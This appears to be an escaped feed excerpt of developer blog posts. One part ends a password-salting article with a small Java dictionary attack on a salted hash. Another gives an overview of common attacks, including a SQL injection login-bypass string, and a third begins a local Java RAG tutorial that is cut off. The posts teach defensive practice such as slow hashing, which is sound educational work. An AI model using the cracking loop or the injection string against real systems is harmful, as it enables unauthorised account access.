    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="nf"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;

        &lt;span class="nc"&gt;StringBuilder&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;StringBuilder&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;append&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%02x"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hex&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"randomSalt123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;storedHash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

        &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;dictionary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s"&gt;"123456"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"admin"&lt;/span&gt;&lt;span class="o"&gt;};&lt;/span&gt;

        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dictionary&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hash&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;salt&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;storedHash&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
                &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"==&amp;gt; Cracked even with salt: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;guess&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
            &lt;span class="o"&gt;}&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;👉 Salt does NOT stop guessing — only slows it down.&lt;/p&gt;

&lt;h4&gt;
  
  
  5.2 Cost Explosion
&lt;/h4&gt;

&lt;p&gt;Without salt:&lt;br&gt;
&lt;code&gt;1M guesses → cracks many users&lt;/code&gt;&lt;br&gt;
With salt:&lt;br&gt;
&lt;code&gt;1M users × 1M guesses = 1 trillion operations&lt;/code&gt;&lt;/p&gt;

&lt;h4&gt;
  
  
  Source Code
&lt;/h4&gt;

&lt;p&gt;All source files are available on GitHub:&lt;br&gt;
&lt;a href="https://github.com/knowledgebase21st/Software-Engineering/tree/dev/security/attacks/authentication/com/auth" rel="noopener noreferrer"&gt;Github source codes&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;👉 This is where salt becomes powerful.&lt;/p&gt;

&lt;h3&gt;
  
  
  ⚠️ 6. What SALT Does NOT Solve
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Weak passwords (still crackable)&lt;/li&gt;
&lt;li&gt;Fast hashing (SHA-256 is too fast)&lt;/li&gt;
&lt;li&gt;GPU-based attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 SALT makes attacks harder—but not impossible.&lt;br&gt;
Attackers can still:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Perform brute force attacks&lt;/li&gt;
&lt;li&gt;Use GPUs to compute hashes at scale&lt;/li&gt;
&lt;li&gt;Target weak passwords&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why modern systems go beyond&lt;/p&gt;

&lt;p&gt;🚀 Final Defense: Modern Password Hashing&lt;br&gt;
Use:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Bcrypt" rel="noopener noreferrer"&gt;bcrypt&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://en.wikipedia.org/wiki/Argon2" rel="noopener noreferrer"&gt;Argon2&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Built-in salt&lt;/li&gt;
&lt;li&gt;Slow hashing (costly per attempt)&lt;/li&gt;
&lt;li&gt;Resistant to GPU attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  🧠 7.Conclusion
&lt;/h3&gt;

&lt;p&gt;Authentication security evolves like this:&lt;br&gt;
&lt;code&gt;Plain text → completely broken&lt;br&gt;
Hash only → still vulnerable&lt;br&gt;
Salted hash → better&lt;br&gt;
Salt + slow hashing → strong defense&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;👉 Security is not about making attacks impossible,&lt;br&gt;
👉 It’s about making them economically infeasible.&lt;/p&gt;

&lt;h3&gt;
  
  
  💡 8.Final Thought
&lt;/h3&gt;

&lt;p&gt;Think like an attacker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Can I guess this password?&lt;/li&gt;
&lt;li&gt;Can I reuse work?&lt;/li&gt;
&lt;li&gt;Can I scale this attack?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Good security doesn’t make attacks impossible—it makes them impractical.&lt;/p&gt;

&lt;p&gt;As a developer, your goal isn’t to stop attackers completely, but to ensure that breaking your system is simply not worth the effort.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>java</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Understanding Common Cybersecurity Attacks: A Practical Overview</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Tue, 14 Apr 2026 18:10:37 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/understanding-common-cybersecurity-attacks-a-practical-overview-2mea</link>
      <guid>https://dev.to/sanjayghosh/understanding-common-cybersecurity-attacks-a-practical-overview-2mea</guid>
      <description>&lt;p&gt;Modern applications are more powerful and interconnected than ever—but with that power comes increased exposure to security risks. Whether you're building a small backend service or a large distributed system, &lt;strong&gt;security is no longer optional&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Before diving into specific vulnerabilities, it’s important to understand &lt;strong&gt;why cybersecurity matters&lt;/strong&gt; and how common attacks are structured.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Cybersecurity Matters in Modern Applications
&lt;/h3&gt;

&lt;h4&gt;
  
  
  🔐 Data Protection &amp;amp; Privacy
&lt;/h4&gt;

&lt;p&gt;Modern applications handle large amounts of sensitive data—personally identifiable information (PII), financial records, and intellectual property. This makes them prime targets for attackers.&lt;/p&gt;

&lt;h4&gt;
  
  
  🏢 Maintaining Trust &amp;amp; Reputation
&lt;/h4&gt;

&lt;p&gt;Users trust applications with their personal and financial data. A single breach can damage reputation, erode customer trust, and lead to significant financial loss.&lt;/p&gt;

&lt;h4&gt;
  
  
  ⚖️ Regulatory Compliance
&lt;/h4&gt;

&lt;p&gt;Organizations must comply with regulations such as GDPR and industry standards. Failing to do so can result in heavy fines and legal consequences.&lt;/p&gt;

&lt;h4&gt;
  
  
  ⚙️ System Integrity &amp;amp; Availability
&lt;/h4&gt;

&lt;p&gt;Security controls such as encryption and access management ensure that systems remain reliable, tamper-proof, and available—even under attack.&lt;/p&gt;

&lt;h4&gt;
  
  
  🚀 Defending Against Sophisticated Threats
&lt;/h4&gt;

&lt;p&gt;As technologies like cloud computing and AI evolve, so do attack techniques—ransomware, phishing, and zero-day exploits are becoming more advanced.&lt;/p&gt;

&lt;h4&gt;
  
  
  🌐 Protecting Interconnected Systems
&lt;/h4&gt;

&lt;p&gt;Modern systems rely heavily on APIs, microservices, and IoT devices. A vulnerability in one component can compromise the entire ecosystem.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Role of OWASP (Open Worldwide Application Security Project)
&lt;/h3&gt;

&lt;p&gt;Learn more: &lt;a href="https://owasp.org/" rel="noopener noreferrer"&gt;https://owasp.org/&lt;/a&gt;&lt;br&gt;
When discussing application security, it’s hard to ignore OWASP.&lt;/p&gt;

&lt;p&gt;OWASP is a nonprofit foundation that provides open-source resources, tools, and best practices to help developers build secure applications.&lt;/p&gt;

&lt;p&gt;One of its most well-known contributions is the OWASP Top 10, which highlights the most critical web security risks.&lt;/p&gt;
&lt;h3&gt;
  
  
  OWASP Top 10 (2025)
&lt;/h3&gt;

&lt;p&gt;Full list: &lt;a href="https://owasp.org/Top10/2025/" rel="noopener noreferrer"&gt;https://owasp.org/Top10/2025/&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A01: Broken Access Control&lt;/li&gt;
&lt;li&gt;A02: Security Misconfiguration&lt;/li&gt;
&lt;li&gt;A03: Software Supply Chain Failures&lt;/li&gt;
&lt;li&gt;A04: Cryptographic Failures&lt;/li&gt;
&lt;li&gt;A05: Injection&lt;/li&gt;
&lt;li&gt;A06: Insecure Design&lt;/li&gt;
&lt;li&gt;A07: Authentication Failures&lt;/li&gt;
&lt;li&gt;A08: Software or Data Integrity Failures&lt;/li&gt;
&lt;li&gt;A09: Security Logging and Alerting Failures&lt;/li&gt;
&lt;li&gt;A10: Mishandling of Exceptional Conditions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These categories are widely used as a baseline for secure application design.&lt;/p&gt;
&lt;h3&gt;
  
  
  A Simple Classification of Cybersecurity Attacks
&lt;/h3&gt;

&lt;p&gt;To make sense of the landscape, we can group common attacks into four practical categories:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Web Attacks&lt;/li&gt;
&lt;li&gt;Authentication Attacks&lt;/li&gt;
&lt;li&gt;Network Attacks&lt;/li&gt;
&lt;li&gt;Human (Social Engineering) Attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some threats span multiple areas, so we’ll also note a few cross-category cases.&lt;/p&gt;
&lt;h3&gt;
  
  
  🌐 Web Attacks (Application Layer)
&lt;/h3&gt;

&lt;p&gt;These target application logic, APIs, and user input handling.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Injection Attacks (SQL, Command, LDAP)&lt;/p&gt;

&lt;p&gt;→ Example: ' OR 1=1 -- login bypass&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Scripting (XSS)&lt;/p&gt;

&lt;p&gt;→ Injecting malicious JavaScript into web pages&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Cross-Site Request Forgery (CSRF)&lt;/p&gt;

&lt;p&gt;→ Forcing a logged-in user to perform unintended actions&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Broken Access Control&lt;/p&gt;

&lt;p&gt;→ Accessing unauthorized data (e.g., changing /user/123 to /user/124)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Security Misconfiguration&lt;/p&gt;

&lt;p&gt;→ Default credentials, open ports, debug settings&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Insecure Deserialization&lt;/p&gt;

&lt;p&gt;→ Executing malicious code via manipulated serialized objects&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🔑 Authentication Attacks
&lt;/h3&gt;

&lt;p&gt;These focus on compromising login systems and user identities.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Brute Force / Dictionary Attacks&lt;/li&gt;
&lt;li&gt;Session Hijacking / Fixation&lt;/li&gt;
&lt;li&gt;Rainbow Table Attacks (password hash cracking technique)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🧠 Network Attacks
&lt;/h3&gt;

&lt;p&gt;These target communication between systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Man-in-the-Middle (MITM)&lt;/p&gt;

&lt;p&gt;→ Intercepting data in transit&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Denial of Service (DoS / DDoS)&lt;br&gt;
→ Overwhelming systems to make them unavailable&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🧑‍💻 Human Attacks (Social Engineering)
&lt;/h3&gt;

&lt;p&gt;These exploit human behavior rather than systems.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Phishing (Email, SMS, Voice)&lt;/p&gt;

&lt;p&gt;→ Trick users into revealing sensitive data&lt;br&gt;
💡 These are among the most successful real-world attacks.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  🔄 Cross-Category / Special Cases
&lt;/h3&gt;

&lt;p&gt;Some threats don’t fit neatly into one category:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Malware (virus, ransomware, spyware)&lt;/li&gt;
&lt;li&gt;Zero-day exploits (attacks on unknown vulnerabilities)
These can impact multiple layers—from applications to networks to users.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  A Quick Example: How Vulnerabilities Start in Code
&lt;/h3&gt;

&lt;p&gt;At this point, you might be wondering:&lt;br&gt;
“These attacks sound serious—but how do they relate to the code we write every day?”&lt;/p&gt;

&lt;p&gt;Let’s look at a simple backend example that illustrates how easily security vulnerabilities can be introduced.&lt;/p&gt;

&lt;p&gt;This example focuses on password handling, but the same principle applies across all categories—small implementation choices can introduce major vulnerabilities.&lt;/p&gt;

&lt;p&gt;Security vulnerabilities are often not caused by complex systems—but by small, overlooked decisions in everyday code.&lt;/p&gt;

&lt;p&gt;❌ Insecure Approach: Plain Text Storage&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"admin123"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;stored&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// storing plain text ❌&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If a database is compromised, attackers immediately gain access to user passwords.&lt;/p&gt;

&lt;p&gt;⚠️ Slightly Better: Hashing (But Still Weak)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;MessageDigest&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;MessageDigest&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"SHA-256"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;hash&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;md&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;digest&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getBytes&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hashing improves security, but it’s still vulnerable to precomputed attacks (like rainbow tables).&lt;/p&gt;

&lt;p&gt;✅ Better Approach (Conceptual)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;saltedPassword&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;randomSalt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Adding randomness makes attacks significantly harder.&lt;/p&gt;

&lt;p&gt;We’ll explore why this matters in detail when we dive into authentication attacks in the next article.&lt;/p&gt;

&lt;p&gt;Final Thoughts&lt;/p&gt;

&lt;p&gt;Cybersecurity isn’t just about preventing attacks—it’s about building systems that are resilient by design.&lt;/p&gt;

&lt;p&gt;As we’ve seen:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Attacks can target applications, networks, and even people&lt;/li&gt;
&lt;li&gt;Many vulnerabilities originate from small design or coding decisions&lt;/li&gt;
&lt;li&gt;Understanding attack patterns is the first step toward preventing them&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What’s Next?&lt;br&gt;
In the next article, we’ll take a deeper look at authentication attacks, including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How attackers crack passwords&lt;/li&gt;
&lt;li&gt;What rainbow table attacks are&lt;/li&gt;
&lt;li&gt;Why techniques like salting are critical&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>webdev</category>
      <category>java</category>
    </item>
    <item>
      <title>Build a RAG Pipeline in Java (Text Vector LLM, No Paid APIs)</title>
      <dc:creator>Sanjay Ghosh</dc:creator>
      <pubDate>Wed, 01 Apr 2026 23:23:34 +0000</pubDate>
      <link>https://dev.to/sanjayghosh/build-a-rag-pipeline-in-java-text-vector-llm-no-paid-apis-3lc3</link>
      <guid>https://dev.to/sanjayghosh/build-a-rag-pipeline-in-java-text-vector-llm-no-paid-apis-3lc3</guid>
      <description>&lt;p&gt;Ever asked an LLM a question about your own data and received an incorrect or generic answer?&lt;/p&gt;

&lt;p&gt;That’s because Large Language Models (LLMs) don’t know your private data.&lt;/p&gt;

&lt;p&gt;In this article, we’ll build a complete &lt;strong&gt;Retrieval-Augmented Generation (RAG)&lt;/strong&gt; pipeline using:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Java&lt;/li&gt;
&lt;li&gt;PostgreSQL (with vector support)&lt;/li&gt;
&lt;li&gt;Ollama (local LLM + embeddings)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;👉 No OpenAI / No paid APIs&lt;br&gt;
👉 Fully local&lt;br&gt;
👉 Practical and production-relevant&lt;/p&gt;
&lt;h3&gt;
  
  
  🧠 What is RAG?
&lt;/h3&gt;

&lt;p&gt;Retrieval-Augmented Generation (RAG) is an architecture that improves LLM responses by:&lt;/p&gt;

&lt;p&gt;Retrieving relevant data from a knowledge source&lt;br&gt;
Passing that data to the LLM&lt;br&gt;
Generating an answer grounded in that context&lt;/p&gt;

&lt;p&gt;In simple terms:&lt;/p&gt;

&lt;p&gt;Instead of guessing, the model first looks up relevant information and then answers.&lt;/p&gt;
&lt;h3&gt;
  
  
  🔍 Why Do We Need RAG?
&lt;/h3&gt;

&lt;p&gt;LLMs are powerful, but they have limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ They don’t know your private/company data&lt;/li&gt;
&lt;li&gt;❌ Their knowledge is static&lt;/li&gt;
&lt;li&gt;❌ They can hallucinate&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RAG solves this by combining:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your data (database)&lt;/li&gt;
&lt;li&gt;Smart retrieval (vector search)&lt;/li&gt;
&lt;li&gt;LLM reasoning (generation)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;
  
  
  📊 RAG Flow (This Project)
&lt;/h3&gt;

&lt;p&gt;We will implement this pipeline:&lt;br&gt;
Text → Embedding → Store in DB&lt;/p&gt;

&lt;p&gt;Query → Embedding&lt;br&gt;
        ↓&lt;br&gt;
   Vector Search (Top K)&lt;br&gt;
        ↓&lt;br&gt;
   Pass to LLM&lt;br&gt;
        ↓&lt;br&gt;
   Final Answer&lt;/p&gt;
&lt;h3&gt;
  
  
  ⚙️ Prerequisites
&lt;/h3&gt;
&lt;h4&gt;
  
  
  1. Install PostgreSQL
&lt;/h4&gt;

&lt;p&gt;Make sure PostgreSQL is installed and running.&lt;/p&gt;
&lt;h4&gt;
  
  
  2. Install Ollama (Local LLM)
&lt;/h4&gt;

&lt;p&gt;sudo apt-get install zstd&lt;br&gt;
curl -fsSL &lt;a href="https://ollama.com/install.sh" rel="noopener noreferrer"&gt;https://ollama.com/install.sh&lt;/a&gt; | sh&lt;/p&gt;
&lt;h4&gt;
  
  
  3. Pull Required Models
&lt;/h4&gt;

&lt;p&gt;# LLM (for answer generation)&lt;br&gt;
ollama pull llama3&lt;/p&gt;

&lt;p&gt;# Embedding model&lt;br&gt;
ollama pull nomic-embed-text&lt;/p&gt;
&lt;h4&gt;
  
  
  4. Verify Installation
&lt;/h4&gt;

&lt;p&gt;ollama run llama3&lt;br&gt;
If it responds, you’re ready.&lt;/p&gt;
&lt;h3&gt;
  
  
  🟢 Phase 1: Indexing (Store Data)
&lt;/h3&gt;

&lt;p&gt;In this phase, we:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Convert text → vector (embedding)&lt;/li&gt;
&lt;li&gt;Store it in PostgreSQL&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  Why Embeddings?
&lt;/h4&gt;

&lt;p&gt;Embeddings convert text into numbers so we can measure similarity.&lt;br&gt;
Example:&lt;br&gt;
&lt;code&gt;"OAuth authentication"&lt;br&gt;
→ [0.12, -0.98, 0.45, ...]&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Database Table
&lt;/h4&gt;

&lt;p&gt;&lt;code&gt;CREATE TABLE text_embeddings (&lt;br&gt;
    id SERIAL PRIMARY KEY,&lt;br&gt;
    content TEXT,&lt;br&gt;
    embedding VECTOR(768)&lt;br&gt;
);&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Key Class: EmbeddingService.java
&lt;/h4&gt;

&lt;p&gt;Calls Ollama&lt;br&gt;
Converts text → vector&lt;/p&gt;

&lt;p&gt;Snippet&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="nc"&gt;ClassicHttpResponse&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;ClassicHttpResponse&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nc"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;post&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"http://localhost:11434/api/embeddings"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;bodyString&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt; &lt;span class="nc"&gt;ContentType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;APPLICATION_JSON&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;execute&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
                &lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;returnResponse&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This returns a numerical vector representation of the input text, which we store in the database.&lt;/p&gt;

&lt;h4&gt;
  
  
  Key Class: StorageService.java
&lt;/h4&gt;

&lt;p&gt;Stores text + embedding into PostgreSQL&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
